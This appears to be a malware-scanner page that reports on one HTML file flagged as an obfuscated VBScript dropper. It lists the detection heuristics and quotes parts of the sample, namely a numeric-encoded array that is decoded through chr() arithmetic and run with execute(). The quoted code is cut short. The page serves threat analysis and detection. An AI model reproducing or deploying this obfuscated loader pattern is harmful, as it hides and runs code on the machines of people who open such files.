Suspicious 80% Download

a641cee7d039e049ac6721323fc033b06c22fa2be2ef39dbd43452bda3479b3e.unknown

obfuscated VBS dropper

Chr of an identifier minus anotherLong run of five-digit numeric codes
SHA-256a641cee7d039e049ac6721323fc033b06c22fa2be2ef39dbd43452bda3479b3e
MaleculeO₂(CAs)

Evidence

Long run of five-digit numeric codes lines 1–2
1<html><head><script language="vbscript">
2execute("qjFnvFOGOJAxrxGfshYQQ = array(473344, 476100, 372100, 469225, 485809, 484416, 478864, 480249, 375769, 481636, 463761, 481636, 485809, 480249, 469225, 376996, 471969, 466489, 491401, 488601, 355216, 348100, 434281, 461041, 488601, 379456, 483025, 470596, 379456, 408321, 375769, 46512 …
Chr of an identifier minus another lines 3–5
3:238… pTSJSyJrgoWapja(BjrQUpTqRunPjcBvylBjMuruQUrlAheEWqAq))^0.5
4ErTREGFZvQKRmzU = ErTREGFZvQKRmzU & chr(TZRpxcnAfsamPOnzYAqmvs - LDvVgEJzmJgJtHkvVtBSbIJMbwXyYyBdalrk) : next : execute(ErTREGFZvQKRmzU)
5</script></head></html>

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.